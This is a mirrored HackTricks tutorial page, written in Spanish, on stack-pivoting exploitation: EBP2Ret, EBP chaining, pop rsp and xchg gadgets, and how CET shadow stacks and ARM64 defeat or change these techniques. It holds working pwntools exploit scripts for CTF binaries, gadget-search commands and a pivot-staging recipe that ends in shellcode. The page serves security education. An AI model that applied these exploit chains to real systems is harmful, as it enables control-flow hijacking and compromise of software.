mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
292 lines
14 KiB
Markdown
292 lines
14 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Información Básica
|
|
|
|
Esta técnica explota la capacidad de manipular el **Base Pointer (EBP/RBP)** para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del puntero de marco y la secuencia de instrucciones **`leave; ret`**.
|
|
|
|
Como recordatorio, en x86/x86-64 **`leave`** es equivalente a:
|
|
```
|
|
mov rsp, rbp ; mov esp, ebp on x86
|
|
pop rbp ; pop ebp on x86
|
|
ret
|
|
```
|
|
Y como el **EBP/RBP guardado está en la pila** antes del EIP/RIP guardado, es posible controlarlo al controlar la pila.
|
|
|
|
> Notas
|
|
> - En 64 bits, reemplaza EBP→RBP y ESP→RSP. La semántica es la misma.
|
|
> - Algunos compiladores omiten el puntero de marco (ver “EBP podría no ser utilizado”). En ese caso, `leave` podría no aparecer y esta técnica no funcionará.
|
|
|
|
### EBP2Ret
|
|
|
|
Esta técnica es particularmente útil cuando puedes **alterar el EBP/RBP guardado pero no tienes una forma directa de cambiar EIP/RIP**. Aprovecha el comportamiento del epílogo de la función.
|
|
|
|
Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode/cadena ROP (más 8 bytes en amd64 / 4 bytes en x86 para tener en cuenta el `pop`), puedes controlar indirectamente RIP. A medida que la función retorna, `leave` establece RSP en la ubicación creada y el subsiguiente `pop rbp` disminuye RSP, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí**. Luego `ret` usará esa dirección.
|
|
|
|
Nota cómo **necesitas conocer 2 direcciones**: la dirección a la que ESP/RSP va a ir, y el valor almacenado en esa dirección que `ret` consumirá.
|
|
|
|
#### Construcción de Exploit
|
|
|
|
Primero necesitas conocer una **dirección donde puedes escribir datos/direcciones arbitrarias**. RSP apuntará aquí y **consumirá el primer `ret`**.
|
|
|
|
Luego, necesitas elegir la dirección utilizada por `ret` que **transferirá la ejecución**. Podrías usar:
|
|
|
|
- Una dirección válida de [**ONE_GADGET**](https://github.com/david942j/one_gadget).
|
|
- La dirección de **`system()`** seguida del retorno y argumentos apropiados (en x86: `ret` objetivo = `&system`, luego 4 bytes basura, luego `&"/bin/sh"`).
|
|
- La dirección de un gadget de **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido de shellcode en línea.
|
|
- Una cadena [**ROP**](../rop-return-oriented-programing/index.html) en memoria escribible.
|
|
|
|
Recuerda que antes de cualquiera de estas direcciones en el área controlada, debe haber **espacio para el `pop ebp/rbp`** de `leave` (8B en amd64, 4B en x86). Puedes abusar de estos bytes para establecer un **segundo EBP falso** y mantener el control después de que la primera llamada retorne.
|
|
|
|
#### Exploit Off-By-One
|
|
|
|
Hay una variante utilizada cuando solo puedes **modificar el byte menos significativo del EBP/RBP guardado**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con **`ret`** debe compartir los primeros tres/cinco bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirlo. Usualmente, el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana.
|
|
|
|
También es común usar un RET sled en la pila y poner la verdadera cadena ROP al final para hacer más probable que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final.
|
|
|
|
### Encadenamiento de EBP
|
|
|
|
Al colocar una dirección controlada en el espacio de `EBP` guardado de la pila y un gadget de `leave; ret` en `EIP/RIP`, es posible **mover `ESP/RSP` a una dirección controlada por el atacante**.
|
|
|
|
Ahora `RSP` está controlado y la siguiente instrucción es `ret`. Coloca en la memoria controlada algo como:
|
|
|
|
- `&(next fake EBP)` -> Cargado por `pop ebp/rbp` de `leave`.
|
|
- `&system()` -> Llamado por `ret`.
|
|
- `&(leave;ret)` -> Después de que `system` termine, mueve RSP al siguiente EBP falso y continúa.
|
|
- `&("/bin/sh")` -> Argumento para `system`.
|
|
|
|
De esta manera, es posible encadenar varios EBP falsos para controlar el flujo del programa.
|
|
|
|
Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), pero más complejo y solo útil en casos extremos.
|
|
|
|
Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con un **leak de pila** para llamar a una función ganadora. Este es el payload final de la página:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of another fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leaked address in RBP
|
|
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
> consejo de alineación amd64: System V ABI requiere alineación de pila de 16 bytes en los sitios de llamada. Si tu cadena llama a funciones como `system`, agrega un gadget de alineación (por ejemplo, `ret`, o `sub rsp, 8 ; ret`) antes de la llamada para mantener la alineación y evitar fallos de `movaps`.
|
|
|
|
## EBP podría no ser utilizado
|
|
|
|
Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones o con omisión del puntero de marco, el **EBP/RBP nunca controla ESP/RSP**. Por lo tanto, cualquier exploit que funcione controlando EBP/RBP fallará porque el prólogo/epílogo no se restaura desde el puntero de marco.
|
|
|
|
- No optimizado / puntero de marco utilizado:
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
- Optimizado / puntero de marco omitido:
|
|
```bash
|
|
push %ebx # save callee-saved register
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore
|
|
ret # return
|
|
```
|
|
En amd64, a menudo verás `pop rbp ; ret` en lugar de `leave ; ret`, pero si el puntero de marco se omite por completo, entonces no hay un epílogo basado en `rbp` para pivotar.
|
|
|
|
## Otras formas de controlar RSP
|
|
|
|
### Gadget `pop rsp`
|
|
|
|
[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para ese desafío, era necesario llamar a una función con 2 argumentos específicos, y había un **gadget `pop rsp`** y hay una **fuga de la pila**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg <reg>, rsp gadget
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <reg>, rsp
|
|
```
|
|
### jmp esp
|
|
|
|
Consulta la técnica ret2esp aquí:
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
### Encontrar gadgets de pivote rápidamente
|
|
|
|
Usa tu buscador de gadgets favorito para buscar primitivas de pivote clásicas:
|
|
|
|
- `leave ; ret` en funciones o en bibliotecas
|
|
- `pop rsp` / `xchg rax, rsp ; ret`
|
|
- `add rsp, <imm> ; ret` (o `add esp, <imm> ; ret` en x86)
|
|
|
|
Ejemplos:
|
|
```bash
|
|
# Ropper
|
|
ropper --file ./vuln --search "leave; ret"
|
|
ropper --file ./vuln --search "pop rsp"
|
|
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
|
|
|
# ROPgadget
|
|
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
|
```
|
|
### Patrón clásico de preparación de pivote
|
|
|
|
Una estrategia de pivote robusta utilizada en muchos CTFs/exploits:
|
|
|
|
1) Utiliza un desbordamiento inicial pequeño para llamar a `read`/`recv` en una región escribible grande (por ejemplo, `.bss`, heap o memoria RW mapeada) y coloca allí una cadena ROP completa.
|
|
2) Retorna a un gadget de pivote (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) para mover RSP a esa región.
|
|
3) Continúa con la cadena preparada (por ejemplo, filtra libc, llama a `mprotect`, luego `read` shellcode, y luego salta a ello).
|
|
|
|
## Mitigaciones modernas que rompen el pivoteo de pila (CET/Shadow Stack)
|
|
|
|
Las CPUs y sistemas operativos x86 modernos implementan cada vez más **CET Shadow Stack (SHSTK)**. Con SHSTK habilitado, `ret` compara la dirección de retorno en la pila normal con una pila sombra protegida por hardware; cualquier discrepancia genera un fallo de Control-Protection y termina el proceso. Por lo tanto, técnicas como EBP2Ret/leave;ret basadas en pivotes fallarán tan pronto como se ejecute el primer `ret` desde una pila pivotada.
|
|
|
|
- Para más información y detalles más profundos, consulta:
|
|
|
|
|
|
{{#ref}}
|
|
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
|
{{#endref}}
|
|
|
|
- Comprobaciones rápidas en Linux:
|
|
```bash
|
|
# 1) Is the binary/toolchain CET-marked?
|
|
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
|
|
|
# 2) Is the CPU/kernel capable?
|
|
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
|
|
|
# 3) Is SHSTK active for this process?
|
|
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
|
|
|
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
|
(gdb) checksec
|
|
```
|
|
- Notas para labs/CTF:
|
|
- Algunas distribuciones modernas habilitan SHSTK para binarios habilitados para CET cuando hay soporte de hardware y glibc. Para pruebas controladas en VMs, SHSTK se puede deshabilitar a nivel del sistema mediante el parámetro de arranque del kernel `nousershstk`, o habilitar selectivamente a través de configuraciones de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción.
|
|
- Las técnicas basadas en JOP/COOP o SROP podrían seguir siendo viables en algunos objetivos, pero SHSTK rompe específicamente los pivotes basados en `ret`.
|
|
|
|
- Nota de Windows: Windows 10+ expone el modo de usuario y Windows 11 añade "Protección de Pila Forzada por Hardware" en modo kernel, construida sobre pilas sombra. Los procesos compatibles con CET previenen el pivoteo de pila/ROP en `ret`; los desarrolladores optan por ello a través de CETCOMPAT y políticas relacionadas (ver referencia).
|
|
|
|
## ARM64
|
|
|
|
En ARM64, los **prologues y epílogos** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
|
|
|
|
Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**.
|
|
|
|
- prologue
|
|
|
|
```armasm
|
|
sub sp, sp, 16
|
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
|
mov x29, sp // FP apunta al registro de marco
|
|
```
|
|
|
|
- epilogue
|
|
|
|
```armasm
|
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
|
add sp, sp, 16
|
|
ret
|
|
```
|
|
|
|
> [!CAUTION]
|
|
> La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él.
|
|
|
|
También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**:
|
|
|
|
|
|
{{#ref}}
|
|
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
|
{{#endref}}
|
|
|
|
## Referencias
|
|
|
|
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
|
- 64 bits, explotación off by one con una cadena rop comenzando con un ret sled
|
|
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
|
- 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de la pila y usa el WWW para volver y obtener el leak del pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP.
|
|
- Documentación del kernel de Linux: Tecnología de Aplicación de Control de Flujo (CET) Pila Sombra — detalles sobre SHSTK, `nousershstk`, banderas de `/proc/$PID/status`, y habilitación a través de `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html
|
|
- Microsoft Learn: Protección de Pila Forzada por Hardware en Modo Kernel (pilas sombra CET en Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|